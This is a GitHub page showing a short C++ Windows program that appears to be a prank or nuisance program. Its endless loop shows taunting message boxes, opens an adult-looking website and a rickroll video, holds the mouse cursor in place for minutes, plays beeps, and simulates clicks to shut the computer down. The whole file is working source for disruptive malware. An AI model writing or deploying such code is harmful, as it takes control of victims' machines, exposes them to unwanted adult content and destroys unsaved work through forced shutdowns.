-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain1.2.cpp
95 lines (83 loc) · 1.82 KB
/
main1.2.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <windows.h>
#include <fstream>
using namespace std;
int main() {
void messageset();
void pornpopup();
void payload();
void rickroll();
void poweroff();
int y = 1;
while(y<10) {
messageset();
Sleep(30000);
pornpopup();
Sleep(30000);
payload();
Sleep(30000);
rickroll();
Sleep(30000);
poweroff();
Sleep(30000);
}
poweroff();
}
void messageset() {
if(MessageBox(
NULL,
"O_O",
"^_^",
MB_OKCANCEL)==IDCANCEL) {
MessageBox(
NULL,
"BOUH",
"^_^",
MB_OK);
}
}
void pornpopup() {
ShellExecute(NULL, TEXT("open"), TEXT("https://cornhub.website"), NULL, NULL, SW_SHOW);
Sleep(1);
MessageBox(
NULL,
"tu fais quoi encore",
"re !",
MB_OK);
}
void payload() {
int a = 1;
while(a<100) {
SetCursorPos(500,500);
Sleep(3000);
a++;
}
Sleep(10000);
int freq = 100;
int loop = 1;
while(loop<200) {
Beep(freq,100);
Sleep(50);
freq++;
loop++;
}
}
void rickroll() {
ShellExecute(NULL, TEXT("open"), TEXT("https://www.youtube.com/watch?v=dQw4w9WgXcQ"), NULL, NULL, SW_SHOW);
Sleep(1);
MessageBox(
NULL,
"GET WRECKED NOOB !",
"hihihiha",
MB_OK);
}
void poweroff() {
SetCursorPos(32, 845);
Sleep(200);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
Sleep(400);
SetCursorPos(579, 767);
Sleep(200);
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
Sleep(400);
SetCursorPos(571, 696);
}